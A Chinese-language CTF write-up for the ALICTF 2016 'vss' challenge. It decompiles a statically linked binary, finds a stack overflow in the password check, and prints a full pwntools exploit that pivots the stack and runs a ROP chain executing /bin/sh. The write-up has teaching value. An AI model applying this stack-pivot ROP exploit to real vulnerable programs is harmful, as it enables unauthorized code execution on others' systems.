Contents
  1. 1. ALICTF 2016 vss

ALICTF 2016 vss

通过checksec查看,程序仅开启了nx,即我们需要使用ROP来进行利用

1
2
3
4
5
6
7
$ checksec vss_72e30bb98bdfbf22307133c16f8c9966
[*] '/mnt/hgfs/Desktop/5.3/vss_72e30bb98bdfbf22307133c16f8c9966'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

这道题采用静态链接,用IDA PRO 打开会发现一大堆函数,并且找不到main函数。
先用shift + F12 打开strings 窗口查看程序中的字符串。

尝试运行程序。

1
2
3
$ ./vss_72e30bb98bdfbf22307133c16f8c9966 
VSS:Very Secure System
Password:

在新打开的string窗口中查找password字符串,点进去跳转到字符串的所在字段,右键查看Xrefs to,查看使用了字符串的函数,确定main函数的位置。找到函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 sub_4011B1()
{
char v1; // [rsp+0h] [rbp-400h]

sub_4374E0(10LL);
sub_4089E0(off_6C4790, 0LL);
sub_408800("VSS:Very Secure System");
sub_408800("Password:");
sub_437EA0(0LL, &v1, 1024LL);
if ( (unsigned int)sub_40108E(&v1) )
sub_408800("Logined");
else
sub_408800("Access Deny");
return 0LL;
}

大概确定是main函数,这里库函数都没有标明,进入后函数体只有一条return语句的可以确定是库函数,根据程序功能猜测函数,打上记号,分析程序逻辑。这里此函数并没有发生溢出,但是当我切进去到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_BOOL8 __fastcall sub_40108E(__int64 a1)
{
int v2; // [rsp+10h] [rbp-40h]
__int64 v3; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
__int64 v7; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+48h] [rbp-8h]
int v9; // [rsp+4Ch] [rbp-4h]

v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v2 = 0;
sub_400330(&v2, a1, 0x50LL);
if ( (_BYTE)v2 == 'p' && BYTE1(v2) == 'y' )
return 1LL;
v9 = sub_419550(&v2);
for ( dword_6C7A98 = 0; dword_6C7A98 < v9; ++dword_6C7A98 )
*((_BYTE *)&v2 + dword_6C7A98) ^= 0x66u;
v8 = sub_437E40("pass.enc", 0LL);
if ( v8 == -1 )
sub_407700(0xFFFFFFFFLL);
sub_437EA0(v8, &v3, 40LL);
return (unsigned int)sub_400360(&v2, &v3) == 0;
}

可以看到写入v2时发生了溢出,遗憾的是溢出的字节仅为0x50-0x40大小,显然不够我们使用rop。幸运的是,我们上一个函数读了整整1024个字节的数据,,可以供我们发挥,要想利用上一个函数栈上的数据,需要劫持栈指针。这里采用一个add rsp;ret 的gadget来把栈指针下移到main函数栈桢中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
from struct import pack
io = process("./vss_72e30bb98bdfbf22307133c16f8c9966")
#0x000000000046f205 : add rsp, 0x58 ; ret
#0x000000000045f2a5 : syscall ; ret

p = ''
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x000000000046f208) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401823) # pop rdi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000043ae05) # pop rdx ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045f2a5) # syscall ; ret



io.recvuntil("word:\n")
payload = ''
payload += "py" + 'a' * 0x46 + p64(0x46f205) + (0x58 - 0x50) * 'a' + p
io.sendline(payload)

io.interactive()
# Padding goes here

其中,shellcode通过ROPgadget的ropchain功能构造。

Contents
  1. 1. ALICTF 2016 vss